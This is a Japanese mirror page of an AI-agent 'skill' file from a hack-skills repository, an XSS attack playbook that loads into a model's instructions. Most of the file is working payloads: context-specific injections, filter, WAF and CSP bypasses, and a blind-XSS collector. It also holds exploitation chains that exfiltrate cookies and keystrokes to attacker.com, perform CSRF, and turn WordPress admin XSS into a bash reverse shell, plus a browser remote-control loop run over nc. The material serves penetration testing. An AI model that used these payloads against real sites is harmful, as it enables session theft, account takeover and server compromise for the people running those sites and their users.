xss-cross-site-scripting
XSS対策プレイブック。ユーザー入力がHTML、属性値、JavaScript、DOMシンク、ファイルアップロード、または複数コンテキストのレンダリング経路に到達する場合に使用します。
description の原文を見る
>- XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
SKILL.md 本文
SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
AI LOAD INSTRUCTION: このスキルは非自明なXSS技術、コンテキスト固有のペイロード選択、WAFバイパス、CSPバイパス、およびエクスプロイト後の操作をカバーしています。読み手は既に
<script>alert(1)</script>を知っていると想定しています — このファイルは基本モデルが通常見落とすことのみをカバーしています。実際のCVEケース、HttpBypassブラウザ戦略、XS-Leaksサイドチャネル、セッション固定攻撃については、関連ドキュメントSCENARIOS.mdを参照してください。
0. RELATED ROUTING
Extended Scenarios
以下が必要な場合は SCENARIOS.md も参照してください:
- Django debug ページ XSS (CVE-2017-12794) — 重複キーエラー → エスケープされていない例外 → XSS
- レガシー IE 環境向け UTF-7 XSS (
+ADw-script+AD4-) - HttpOnly バイパス方法論 — ブラウザプロキシ、セッション乗っ取り、CSRF-via-XSS
- XS-Leaks サイドチャネル攻撃 — タイミングオラクル、キャッシュプローブ、
performance.now()計測 - XSS経由のセッション固定 — 被害者ログイン前にセッション ID を事前設定
- DOM Clobbering 技術 (CSP制限環境用)
Advanced Tricks
以下が必要な場合は ADVANCED_XSS_TRICKS.md も参照してください:
- mXSS / DOMPurify バイパス — namespace 混同、
<noscript>解析の差分、form/table 再構成 - DOM Clobbering —
id/name経由のプロパティ上書き、HTMLCollection、深いプロパティチェーン - モダンフレームワーク XSS — React
dangerouslySetInnerHTML、Vuev-html、AngularbypassSecurityTrust*、Next.js SSR - Trusted Types バイパス — デフォルトポリシー悪用、非 TT シンク、ポリシーパススルー
- Service Worker XSS 永続化 — 悪意のある SW 登録、fetch インターセプト、パッチ後の生き残り
- PDF/SVG/MathML XSS ベクトル、ポリグロットペイロード、ブラウザ固有のトリック
- XS-Leaks & サイドチャネル — タイミングオラクル、フレームカウント、キャッシュプローブ、エラーイベントオラクル
広範なペイロード散布の前に、まず以下をロードできます:
upload insecure files完全なアップロードパス: 検証、ストレージ、プレビュー、および共有動作が必要な場合
Quick context picks
| コンテキスト | 第1候補 | 代替案 |
|---|---|---|
| HTML body | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| クォートされた属性 | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript文字列 | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href シンク | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
title など tag body | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML シンク | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML namespace ペイロード |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
1. INJECTION CONTEXT MATRIX
ペイロードを選択する前にコンテキストを特定します。間違ったコンテキスト = 無駄な試行。
| コンテキスト | インジケータ | オープナー | ペイロード |
|---|---|---|---|
| タグ外のHTML | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML属性値 | value="INPUT" | " 属性終了 | "onmouseover=alert(1)// |
| インライン属性、タグクローズなし | クォート、> ストリップ | イベント注入 | "autofocus onfocus=alert(1)// |
| ブロックタグ (title/script/textarea) | <title>INPUT</title> | 終了タグ優先 | </title><svg onload=alert(1)> |
| href / src / data / action | リンク or フォーム | プロトコル | javascript:alert(1) |
| JS文字列 (単一引用符) | var x='INPUT' | 文字列破壊 | '-alert(1)-' or '-alert(1)// |
| JS文字列 (エスケープあり) | バックスラッシュエスケープ | ダブルエスケープ | \'-alert(1)// |
| JS論理ブロック | if/関数内部 | クローズ + 注入 | '}alert(1);{' |
| ページ上のJS何処 | <script>...INPUT | スクリプト破壊 | </script><svg onload=alert(1)> |
XMLページ (text/xml) | XML content-type | XML namespace | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
2. MULTI-REFLECTION ATTACKS
入力が同じページの複数の場所に反映される場合 — 単一ペイロードですべてのポイントからトリガーされます:
<!-- ダブルリフレクション -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- トリプルリフレクション -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- 2つの異なる入力 (p= と q=) -->
p=<svg/1='&q='onload=alert(1)>
3. ADVANCED INJECTION VECTORS
DOM Insert Injection (リフレクションはソースではなく DOM 内)
入力が .innerHTML、document.write、jQuery .html() 経由で挿入される場合:
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
URL制御リソース挿入の場合:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF Path Injection
URL自体がフォーム action に反映される場合:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
.php と ? の間に注入し、先頭の / を使用します。
File Upload XSS
ファイル名注入 (ファイル名が反映される場合):
"><svg onload=alert(1)>.gif
SVG アップロード (SVG を受け入れるイメージアップロード経由の保存型 XSS):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
メタデータ注入 (EXIF が反映される場合):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS (origin チェックなし)
ページが origin 検証なしで window.addEventListener('message', ...) を持つ場合:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage Origin バイパス
Origin がチェックされているが .includes() またはプレフィックスマッチを使用する場合:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
攻撃者が facebook.com.ATTACKER.com サブドメインを制御します。
XML-Based XSS
レスポンスが text/xml または application/xml:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
クローズタグなしのスクリプト注入
ページの後方に </script> タグがある場合:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
4. CSP BYPASS TECHNIQUES
JSONP エンドポイント バイパス (ホワイトリスト域に JSONP あり)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN バイパス (ホワイトリスト ajax.googleapis.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular Expressions (サーバーが HTML をエンコードするが AngularJS が評価)
ページで {{1+1}} が 2 に評価される場合 — 典型的な CSTI インジケータ:
// Angular 1.x サンドボックス脱出:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri Injection (CSP に base-uri 制限がない)
<base href="https://attacker.com/">
相対 <script src=...> は攻撃者のサーバーからロードされます。
DOM-based via Dangling Markup
CSP がスクリプトをブロックするが img を許可する場合:
<img src='https://attacker.com/log?
後続のページコンテンツを攻撃者のサーバーにリークします。
5. FILTER AND WAF BYPASS
Parameter Name Attack (WAF が値ではなく名前をチェック)
パラメータ名が反映される場合 (例: JSON出力):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
ペイロードはパラメータ名であり、値ではありません。
Encoding Chains
%253C → ダブルエンコード <
%26lt; → HTML エンティティ ダブルエンコード
<%00h2 → null バイト注入
%0d%0a → タグ内の CRLF
テストシーケンス: リフレクション → エンコード動作 → フィルタロジック特定 → 変異。
Tag Mutation (ブラックリスト バイパス)
<ScRipt> ← 大文字小文字の変動
</script/x> ← 末尾のガベージ
<script ← 不完全 (後の > に依存)
<%00iframe ← null バイト
<svg/onload= ← スペースの代わりにスラッシュ
Fragmented Injection (strip-tags バイパス)
フィルタが <x>...</x> をストリップします:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
イベントハンドラなしのベクトル
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
6. SECOND-ORDER XSS
定義: 入力が保存され (多くの場合、正規化/HTMLエンコード)、その後取得され、再エンコードなしで DOM に挿入されます。
クラシックトリガーペイロード (即座の HTML エンコーディングをバイパス):
<svg/onload=alert(1)>
チェック: プロフィールフィールド、表示名、フォーラム投稿 — データが保存され、異なるコンテキスト (例: 管理者パネル vs ユーザー向け) で再レンダリングされる場所。
保存 → 管理者コンテキスト XSS: 最も影響大 — 細工されたユーザー名で登録、管理者がユーザーリストを表示するのを待つ。
7. BLIND XSS METHODOLOGY
即座にリフレクトされないすべてのパラメータは、Blind XSS についてテストする必要があります:
- コンタクトフォーム、フィードバックフィールド
- User-Agent / referer
- 登録フィールド
- エラーログ注入
Blind XSS コールバックペイロード (リモート JS ファイルアプローチ):
"><script src=//attacker.com/bxss.js></script>
最小限のコレクタ (bxss.js でホスト):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
自動化された収集には XSS Hunter または同様の Blind XSS プラットフォームを使用してください。
8. XSS EXPLOITATION CHAIN
Cookie 盗み
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly で保護されたクッキー → JS経由でのスティール不可、代わりに CSRF またはセッション固定が必要
キーロガー
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
CSRF via XSS (CSRF 保護をバイパス、DOM から CSRF トークンを読み取り)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);
WordPress XSS → RCE (管理者セッション + Hello Dolly プラグイン):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
ブラウザリモートコントロール (JS コマンドシェル)
// 被害者に注入:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# 攻撃者リスナー:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
9. DECISION TREE
XSS エントリポイントをテスト
├── 入力がレスポンスに反映されている?
│ ├── YES → コンテキストを特定 (HTML / JS / attr / URL)
│ │ → コンテキスト適切なペイロードを選択
│ │ → ブロックされた場合 → フィルタ動作をチェック
│ │ │ → エンコード、大文字小文字の変動、断片化を試す
│ │ │ → パラメータ NAME がリフレクトされているかチェック (WAF ギャップ)
│ │ └── 成功 → エスカレート (cookie盗み / CSRF / RCE)
│ └── NO → 保存されている? → Blind XSS ペイロードを注入
│ DOM内にある? → 非安全なシンクについて JS ソースをチェック
│ (innerHTML, eval, document.write, location.href)
└── CSP が存在?
├── ホワイトリスト域上の JSONP エンドポイントをチェック
├── CDN ホワイトリスト上の AngularJS をチェック
├── base-uri 欠落をチェック → <base> 注入
└── unsafe-eval または unsafe-inline 例外をチェック
10. XSS TESTING PROCESS (ZSEANO METHOD)
- Step 1 — 非悪意的なタグをテスト:
<h2>、<img>、<table>— そのまま反映されている? - Step 2 — 不完全なタグをテスト:
<iframe src=//attacker.com/c=(クローズ>なし) - Step 3 — エンコーディングプローブ:
<%00h2、%0d、%0a、%09、%253C - Step 4 —
<script>とonerrorをフィルタリングしているが<script(クローズなし) ではない場合:<script src=//attacker.com?c= - Step 5 — ブラックリストチェック:
<svg>は動作?<ScRiPt>は動作? - 注意: 同じフィルタはおそらく他の場所にも存在 — 検索で
<script>をフィルタリングしている場合、ファイルアップロードファイル名でもフィルタリングしている? プロフィール説明文でも?
重要なインサイト: フィルタ存在 = 脆弱性が存在、開発者がパッチを試した。そのスレッドをアプリケーション全体で追跡してください。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。